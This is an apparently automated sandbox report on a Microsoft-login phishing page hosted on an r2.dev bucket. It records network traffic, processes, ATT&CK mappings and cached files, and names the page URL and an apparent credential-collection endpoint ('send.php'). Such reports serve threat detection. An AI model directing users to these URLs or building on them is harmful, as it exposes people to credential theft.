Source: global traffic	HTTP traffic detected: GET /images/2_vD0yppaJX3jBnfbHF1hqXQ2.svg HTTP/1.1Host: acctcdn.msauth.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://signup.live.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /images/2_vD0yppaJX3jBnfbHF1hqXQ2.svg HTTP/1.1Host: acctcdn.msauth.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /images/favicon.ico?v=2 HTTP/1.1Host: acctcdn.msauth.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9

Source: unknown

DNS traffic detected: queries for: pub-fb18fd8aaa2c453dab56d6f0ae35acae.r2.dev

Source: global traffic

HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Tue, 16 Apr 2024 23:42:45 GMTContent-Type: text/htmlContent-Length: 27242Connection: closeServer: cloudflareCF-RAY: 8758089ce8b753da-ATL

Source: chromecache_89.2.dr	String found in binary or memory: https://aadcdn.msauth.net
Source: chromecache_89.2.dr	String found in binary or memory: https://aadcdn.msauth.net/ests/2.1/content/cdnbundles/converged.v2.login.min_wixdbz3ubznoegxpcgkfog2
Source: chromecache_89.2.dr	String found in binary or memory: https://aadcdn.msauth.net/ests/2.1/content/cdnbundles/ux.converged.login.strings-en.min_yruqtyo0qslo
Source: chromecache_89.2.dr	String found in binary or memory: https://aadcdn.msauth.net/ests/2.1/content/images/favicon_a_eupayfgghqiai7k9sol6lg2.ico
Source: chromecache_89.2.dr	String found in binary or memory: https://aadcdn.msauth.net/shared/1.0/content/images/backgrounds/2_bc3d32a696895f78c19df6c717586a5d.s
Source: chromecache_89.2.dr	String found in binary or memory: https://ajax.googleapis.com/ajax/libs/jquery/3.5.1/jquery.min.js
Source: chromecache_64.2.dr	String found in binary or memory: https://developers.cloudflare.com/r2/data-access/public-buckets/
Source: chromecache_78.2.dr	String found in binary or memory: https://fpt.live.com/
Source: chromecache_89.2.dr	String found in binary or memory: https://login.live.com/Me.htm?v=3
Source: chromecache_68.2.dr	String found in binary or memory: https://login.microsoftonline.com
Source: chromecache_68.2.dr	String found in binary or memory: https://login.windows-ppe.net
Source: chromecache_89.2.dr	String found in binary or memory: https://videomarketing102.com/abdullah/document/office-cc/send.php
Source: chromecache_64.2.dr	String found in binary or memory: https://www.cloudflare.com/favicon.ico

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49744
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49743
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49742
Source: unknown	Network traffic detected: HTTP traffic on port 49672 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49779 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49784
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49782
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49780
Source: unknown	Network traffic detected: HTTP traffic on port 49743 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49746 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49769 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49799 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49739
Source: unknown	Network traffic detected: HTTP traffic on port 49736 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49736
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49735
Source: unknown	Network traffic detected: HTTP traffic on port 49753 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49779
Source: unknown	Network traffic detected: HTTP traffic on port 49772 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49675 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49775
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49774
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49773
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49772
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49771
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49770
Source: unknown	Network traffic detected: HTTP traffic on port 49742 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49767 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49784 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49749 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49780 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49752 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49773 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49735 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49769
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49768
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49767
Source: unknown	Network traffic detected: HTTP traffic on port 49739 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49678 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49748 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49745 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49770 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49751 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49774 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49782 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49799
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49754
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49753
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49752
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49751
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49750
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49672
Source: unknown	Network traffic detected: HTTP traffic on port 49744 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49768 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49775 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49750 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49749
Source: unknown	Network traffic detected: HTTP traffic on port 49754 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49748
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49746
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49745
Source: unknown	Network traffic detected: HTTP traffic on port 49771 -> 443

Source: unknown	HTTPS traffic detected: 23.36.68.63:443 -> 192.168.2.4:49753 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.36.68.63:443 -> 192.168.2.4:49754 version: TLS 1.2

Source: classification engine

Classification label: mal64.phis.win@18/64@14/8

Source: unknown	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2268 --field-trial-handle=2188,i,3570078562166595606,13269429034142598939,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: unknown	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" "https://pub-fb18fd8aaa2c453dab56d6f0ae35acae.r2.dev/index.html"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2268 --field-trial-handle=2188,i,3570078562166595606,13269429034142598939,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	1 Scripting	1 Drive-by Compromise	Windows Management Instrumentation	1 Scripting	1 Process Injection	1 Process Injection	OS Credential Dumping	System Service Discovery	Remote Services	Data from Local System	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	Rootkit	LSASS Memory	Application Window Discovery	Remote Desktop Protocol	Data from Removable Media	3 Non-Application Layer Protocol	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	Obfuscated Files or Information	Security Account Manager	Query Registry	SMB/Windows Admin Shares	Data from Network Shared Drive	4 Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	Binary Padding	NTDS	System Network Configuration Discovery	Distributed Component Object Model	Input Capture	3 Ingress Tool Transfer	Traffic Duplication	Data Destruction

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
https://pub-fb18fd8aaa2c453dab56d6f0ae35acae.r2.dev/index.html	100%	SlashNext	Credential Stealing type: Phishing & Social Engineering

Name	IP	Active	Malicious	Reputation
part-0013.t-0009.t-msedge.net	13.107.246.41	true	false	unknown
part-0008.t-0009.t-msedge.net	13.107.246.36	true	false	unknown
sni1gl.wpc.alphacdn.net	152.195.19.97	true	false	unknown
pub-fb18fd8aaa2c453dab56d6f0ae35acae.r2.dev	104.18.3.35	true	false	unknown
www.google.com	74.125.136.106	true	false	high
part-0043.t-0009.t-msedge.net	13.107.246.71	true	false	unknown
fp2e7a.wpc.phicdn.net	192.229.211.108	true	false	unknown
signup.live.com	unknown	unknown	false	high
fpt.live.com	unknown	unknown	false	high
acctcdn.msftauth.net	unknown	unknown	false	unknown

Contacted URLs

Name	Malicious	Reputation
https://fpt.live.com/?session_id=b58882512b7c40d78c42f4d88f1affac&CustomerId=33e01921-4d64-4f8c-a055-5bdaffd5e33d&PageId=SU&mkt=EN-US	false	high
https://pub-fb18fd8aaa2c453dab56d6f0ae35acae.r2.dev/favicon.ico	false	unknown
https://pub-fb18fd8aaa2c453dab56d6f0ae35acae.r2.dev/index.html	true	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Reputation
https://login.microsoftonline.com	chromecache_68.2.dr	false	high
https://www.cloudflare.com/favicon.ico	chromecache_64.2.dr	false	high
https://developers.cloudflare.com/r2/data-access/public-buckets/	chromecache_64.2.dr	false	high
https://login.windows-ppe.net	chromecache_68.2.dr	false	high
https://fpt.live.com/	chromecache_78.2.dr	false	high
https://videomarketing102.com/abdullah/document/office-cc/send.php	chromecache_89.2.dr	false	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
13.107.246.41	part-0013.t-0009.t-msedge.net	United States	8068	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
104.18.3.35	pub-fb18fd8aaa2c453dab56d6f0ae35acae.r2.dev	United States	13335	CLOUDFLARENETUS	false
13.107.246.36	part-0008.t-0009.t-msedge.net	United States	8068	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
74.125.136.106	www.google.com	United States	15169	GOOGLEUS	false
13.107.246.71	part-0043.t-0009.t-msedge.net	United States	8068	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
239.255.255.250	unknown	Reserved	unknown	unknown	false
13.107.213.41	unknown	United States	8068	MICROSOFT-CORP-MSN-AS-BLOCKUS	false

Private

IP
192.168.2.4

General Information

Joe Sandbox version:	40.0.0 Tourmaline
Analysis ID:	1427104
Start date and time:	2024-04-17 01:41:51 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 3m 24s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	browseurl.jbs
Sample URL:	https://pub-fb18fd8aaa2c453dab56d6f0ae35acae.r2.dev/index.html
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	8
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Detection:	MAL
Classification:	mal64.phis.win@18/64@14/8
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Browse: https://login.live.com/oauth20_authorize.srf?response_type=code&client_id=51483342-085c-4d86-bf88-cf50c7252078&scope=openid+profile+email+offline_access&response_mode=form_post&redirect_uri=https%3a%2f%2flogin.microsoftonline.com%2fcommon%2ffederation%2foauth2&state=rQIIAYWSO2_TUABG47QNtOItBsSAOjAgkNPre_2IIyHhxEmTJo7zsOvYi2UnfuVhp44dOxETLAxIMHeDASFgQiAhJuZKSGwgFlbEhBADGxT-AMsZvjN-Z-sEnafzIA-urxF5oniVRCRlMCaLswaNcJIlAG6QkMYRhWgEATGkAAovbJ3r3Ln3-vaNj7ful35-enD594tDbFOfeAsrPwimz7ArbhTN5sWdnSRJ8oFte4N_Ymdi-EPPd95g2AcM-4phh9kNy8fl3rPsnEYMoliaoQjAQAhZAPOaJKQqFBJR4iJ1KhCaB4CqqGlTqRxv9UjY7U4E2IHirjbV-EEiKDJqKfVUU4RIHe176hIAUVGXTclJRd6JBF6AmqQSrdE4EVZ19Dl7VuTiyIV_EYTeyvqR3bSDcKrPgnl0uPY8u-rOO6bqr6yewFMsQxpdvxFynE60XbO7X476HjoQpm7VWUbGEmdDhtGjJVUd9GtKXA_50N3nwiBI-0bS7uEHtNlolFtjRE8WNrk7phdWrU3ynGkoiRn4U9mMyWadcZqGw1eVAy2lR31aTkVN1r1-OeCFg2QRJAnpkIzKOMG8AyaVVVreowg9xR2Zr01hEzfnfBssxwHuV0BvIboDJwVwUGuMQ8ZxZcEsN1m9MEQFX5NGQ6XJeWy1W2qD0mxhU4G9VyposYuq3WTVUHflhSXLZivq-a4y5-KJgNdQFDsMO7SYZm1UsyS0KnE62ZMKtPNyLXf88DTwj9bOBDPL94bbszCwvYn1YR37tn7qZO5c7lJmO3PtIjjzax17vHEc0dP3XzbY5ZPy3UekHcmvMkcbOyq_Qou-VQFSTE3SAjKBMqLL7mxPrcRLUYyHHdZGzn4dAO4mUSQe5rCHudxR7nyd11sVqSdxLZ7r8lAH33PYvROZt5v_SfHz1kUIIMABixPMNgRFgihSQHt3OvMH0&estsfed=1&uaid=b58882512b7c40d78c42f4d88f1affac&signup=1&lw=1&fl=easi2&fci=4345a7b9-9a63-4910-a426-35363201d503&mkt=en-US

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, WMIADAP.exe, SIHClient.exe, conhost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 74.125.138.94, 74.125.138.138, 74.125.138.102, 74.125.138.113, 74.125.138.100, 74.125.138.139, 74.125.138.101, 142.250.105.84, 34.104.35.123, 40.126.29.5, 40.126.29.12, 40.126.29.15, 40.126.29.10, 40.126.29.11, 40.126.29.8, 40.126.29.13, 40.126.29.14, 64.233.177.95, 74.125.136.95, 142.250.105.95, 64.233.176.95, 172.253.124.95, 64.233.185.95, 142.251.15.95, 173.194.219.95, 74.125.138.95, 108.177.122.95, 142.250.9.95, 20.12.23.50, 72.21.81.240, 40.126.28.12, 40.126.28.20, 40.126.28.14, 40.126.28.18, 40.126.28.22, 40.126.28.11, 40.126.7.32, 40.126.28.19, 192.229.211.108, 13.85.23.206, 13.107.42.22, 172.217.215.95, 52.167.30.171, 20.72.243.62, 142.250.9.94, 20.42.72.131, 13.69.109.130
Excluded domains from analysis (whitelisted): greenid-prod-pme.eastus2.cloudapp.azure.com, pme-greenid-prod.trafficmanager.net, slscr.update.microsoft.com, www.tm.lg.prod.aadmsa.akadns.net, clientservices.googleapis.com, browser.events.data.trafficmanager.net, clients2.google.com, ocsp.digicert.com, login.live.com, hlb.apr-52dd2-0.edgecastdns.net, update.googleapis.com, acctcdnvzeuno.azureedge.net, acctcdnvzeuno.ec.azureedge.net, fpt2.microsoft.com, fs.microsoft.com, acctcdnmsftuswe2.azureedge.net, content-autofill.googleapis.com, aadcdnoriginwus2.azureedge.net, ajax.googleapis.com, www.tm.v4.a.prd.aadg.akadns.net, aadcdn.msauth.net, edgedl.me.gvt1.com, aadcdnoriginwus2.afd.azureedge.net, fpt6.microsoft.com, account.msa.msidentity.com, clients.l.google.com, greenid-prod-pme.westus2.cloudapp.azure.com, fpt.microsoft.com, www.tm.lg.prod.aadmsa.trafficmanager.net, acctcdn.msauth.net, wu.azureedge.net, acctcdn.trafficmanager.net, onedscolprdweu00.westeurope.cloudapp.azure.com, bg.apr-52dd2-0503.edgecastdns.net, c
HTTPS proxy raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtCreateFile calls found.
Report size getting too big, too many NtSetInformationFile calls found.
VT rate limit hit for: https://pub-fb18fd8aaa2c453dab56d6f0ae35acae.r2.dev/index.html

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, max speed, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 900
Category:	downloaded
Size (bytes):	252
Entropy (8bit):	7.057986237150363
Encrypted:	false
SSDEEP:	6:Xth1WIxjFLw0cb88da94jE0CadKSPfN8IC6a8r0ADAgvw9xwi:Xf1WMlcb5a92EGZa6JmUUxh
MD5:	19AA49E6F345811CEBE895003C8FCFC7
SHA1:	48D93BEDEFFE842A3DFB5D3036D14178D97115F9
SHA-256:	F61DC276446B263FC29B1A8CE20D8BFD2C028F4603356F795687B942E3B4969F
SHA-512:	6A2E4E29D0FDBFD0E671A88CB6411AA7401524C3DDF903AB8E766B4CD66C9C31E0D175592920D29D3CF0CD67D6FA6763F6A0D4A5286EEC48F77028A36054E642
Malicious:	false
Reputation:	low
URL:	https://aadcdn.msauth.net/shared/1.0/content/images/ellipsis_635a63d500a92a0b8497cdc58d0f66b1.svg
Preview:	...........S.. ...q.cl.&...}.....1..Uj?.jR..&......8..h.G....jl..n8.!.P...+....Fa8x[c.0...[?..........'n....kZ.:...w..z..5..&dA.+..1h2".!..R1(.t..SJ.N+......VV._...y.D_..3"4...e;. ]RA...r..VR-..I..DO.9Y...a{A\&.xr{.H.K\...f.?.7&}..........

Chrome Cache Entry: 59

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with no line terminators
Category:	downloaded
Size (bytes):	28
Entropy (8bit):	4.307354922057605
Encrypted:	false
SSDEEP:	3:8Kiun9ks:8Kiun2s
MD5:	9F9FA94F28FE0DE82BC8FD039A7BDB24
SHA1:	6FE91F82974BD5B101782941064BCB2AFDEB17D8
SHA-256:	9A37FDC0DBA8B23EB7D3AA9473D59A45B3547CF060D68B4D52253EE0DA1AF92E
SHA-512:	34946EF12CE635F3445ED7B945CF2C272EF7DD9482DA6B1A49C9D09A6C9E111B19B130A3EEBE5AC0CCD394C523B54DD7EB9BF052168979A9E37E7DB174433F64
Malicious:	false
Reputation:	low
URL:	https://content-autofill.googleapis.com/v1/pages/ChVDaHJvbWUvMTE3LjAuNTkzOC4xMzISFwnR4yntpDQmjRIFDdFbUVISBQ1Xevf9?alt=proto
Preview:	ChIKBw3RW1FSGgAKBw1Xevf9GgA=

Chrome Cache Entry: 60

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	dropped
Size (bytes):	1864
Entropy (8bit):	5.222032823730197
Encrypted:	false
SSDEEP:	48:yvswNIBLBpJawmMH44log6gw/MHm7pJroog6gwkMH9Xog6gwdMHdqdyqog7C:ykfXYx+odPcs9B
MD5:	BC3D32A696895F78C19DF6C717586A5D
SHA1:	9191CB156A30A3ED79C44C0A16C95159E8FF689D
SHA-256:	0E88B6FCBB8591EDFD28184FA70A04B6DD3AF8A14367C628EDD7CABA32E58C68
SHA-512:	8D4F38907F3423A86D90575772B292680F7970527D2090FC005F9B096CC81D3F279D59AD76EAFCA30C3D4BBAF2276BBAA753E2A46A149424CF6F1C319DED5A64
Malicious:	false
Reputation:	low
Preview:	<svg xmlns="http://www.w3.org/2000/svg" width="1920" height="1080" fill="none"><g opacity=".2" clip-path="url(#E)"><path d="M1466.4 1795.2c950.37 0 1720.8-627.52 1720.8-1401.6S2416.77-1008 1466.4-1008-254.4-380.482-254.4 393.6s770.428 1401.6 1720.8 1401.6z" fill="url(#A)"/><path d="M394.2 1815.6c746.58 0 1351.8-493.2 1351.8-1101.6S1140.78-387.6 394.2-387.6-957.6 105.603-957.6 714-352.38 1815.6 394.2 1815.6z" fill="url(#B)"/><path d="M1548.6 1885.2c631.92 0 1144.2-417.45 1144.2-932.4S2180.52 20.4 1548.6 20.4 404.4 437.85 404.4 952.8s512.276 932.4 1144.2 932.4z" fill="url(#C)"/><path d="M265.8 1215.6c690.246 0 1249.8-455.595 1249.8-1017.6S956.046-819.6 265.8-819.6-984-364.005-984 198-424.445 1215.6 265.8 1215.6z" fill="url(#D)"/></g><defs><radialGradient id="A" cx="0" cy="0" r="1" gradientUnits="userSpaceOnUse" gradientTransform="translate(1466.4 393.6) rotate(90) scale(1401.6 1720.8)"><stop stop-color="#107c10"/><stop offset="1" stop-color="#c4c4c4" stop-opacity="0"/></radialGradient><r

Chrome Cache Entry: 61

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, max speed, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 208265
Category:	downloaded
Size (bytes):	53103
Entropy (8bit):	7.995099232746401
Encrypted:	true
SSDEEP:	1536:J3SCE2KqpmkKwua0QMPQj3Bb/VWQ8te/Z:QF2KYyBQj3Bb/0g/Z
MD5:	53DBD2FD82810AEEC9383D4792683A56
SHA1:	D800AC38DBEF14D3E5CF571FEE2432835E5E1489
SHA-256:	5B33C3CB8C3DE781483206E3479CAAE02A1F3424E465464A8F2A9FEA43672E07
SHA-512:	625D6B37616B327256DCDB33AEA4C9223BA5974CB3CCD10588F9A3D04E0883365A9DF3AC0B39F5394928B87C57BF13CBC82C5204F4C3FC6BE92F1E0C3399DBD1
Malicious:	false
Reputation:	low
URL:	https://acctcdn.msauth.net/lightweightsignuppackage_I2u0h5_OVsvo48cPwiR07Q2.js?v=1
Preview:	...........}y.......2...H.D...%i.ln.4m]5..).5E.$..g.3...7..i...{='...X...0....(v........XwX.\|f.wWVX...a?.v..T.[q.:.v.#+rt....6.N.?#K.c._x.i:.%......._..U`.Z.Kk...[.............]V.UQ.[.....y....Y..ruUT._..[..~.........`.~].....`..'~L@..M..8.,p"+_.z...S.@.V.;.Y.dA......e....r.-\|....ck....kARM.e."...+.^..\...4..F....H}....8t....<S.7c..\..$..,d......bf.E/..X.u....0.Yf..[.....C.O+..f.....O.. .En....P&...A.a.....z..M..(....!+..v.O..\c.....S.K...V:..u'[.J.ca.)...c......>.p...<.7..............o..\|..oq.o..Z.n.oi'..>f...(K.....?K.s..i.#D....r2s....S..C..Q...N._..D....w..w.]....{.[.+.6T&.....5=....!8.z.......7..zwo..p.....<....6.....{..n............z}.....(..5z{].q.....G.F......i,....i..f.....>....7.8..sd.e...]w.....b..,.>.C.V..X".v2...FlZ.mh..m..0..s......>{.......cA...g;.'....m1,@..U6.F_.3.=.f8..........Z.....zY.'l..i......dU:-....;`.}....n....8.V....P....3.....M?....99..._..%..L+.1..)8..~."....?.Q,9\|...s...!xs..P..p........$..Q...G.-...t

Chrome Cache Entry: 62

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows icon resource - 6 icons, -128x-128, 16 colors, 72x72, 16 colors
Category:	downloaded
Size (bytes):	17174
Entropy (8bit):	2.9129715116732746
Encrypted:	false
SSDEEP:	24:QSNTmTFxg4lyyyyyyyyyyyyyio7eeeeeeeeekzgsLsLsLsLsLsQZp:nfgyyyyyyyyyyyyynzQQQQQO
MD5:	12E3DAC858061D088023B2BD48E2FA96
SHA1:	E08CE1A144ECEAE0C3C2EA7A9D6FBC5658F24CE5
SHA-256:	90CDAF487716184E4034000935C605D1633926D348116D198F355A98B8C6CD21
SHA-512:	C5030C55A855E7A9E20E22F4C70BF1E0F3C558A9B7D501CFAB6992AC2656AE5E41B050CCAC541EFA55F9603E0D349B247EB4912EE169D44044271789C719CD01
Malicious:	false
Reputation:	low
URL:	https://acctcdn.msauth.net/images/favicon.ico?v=2
Preview:	..............h(..f...HH...........(..00......h....6.. ...........=...............@..........(....A..(....................(....................................."P.........................................."""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333""""""""""""""""""""""""""

Chrome Cache Entry: 63

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows icon resource - 6 icons, -128x-128, 16 colors, 72x72, 16 colors
Category:	downloaded
Size (bytes):	17174
Entropy (8bit):	2.9129715116732746
Encrypted:	false
SSDEEP:	24:QSNTmTFxg4lyyyyyyyyyyyyyio7eeeeeeeeekzgsLsLsLsLsLsQZp:nfgyyyyyyyyyyyyynzQQQQQO
MD5:	12E3DAC858061D088023B2BD48E2FA96
SHA1:	E08CE1A144ECEAE0C3C2EA7A9D6FBC5658F24CE5
SHA-256:	90CDAF487716184E4034000935C605D1633926D348116D198F355A98B8C6CD21
SHA-512:	C5030C55A855E7A9E20E22F4C70BF1E0F3C558A9B7D501CFAB6992AC2656AE5E41B050CCAC541EFA55F9603E0D349B247EB4912EE169D44044271789C719CD01
Malicious:	false
Reputation:	low
URL:	https://signup.live.com/Resources/images/favicon.ico
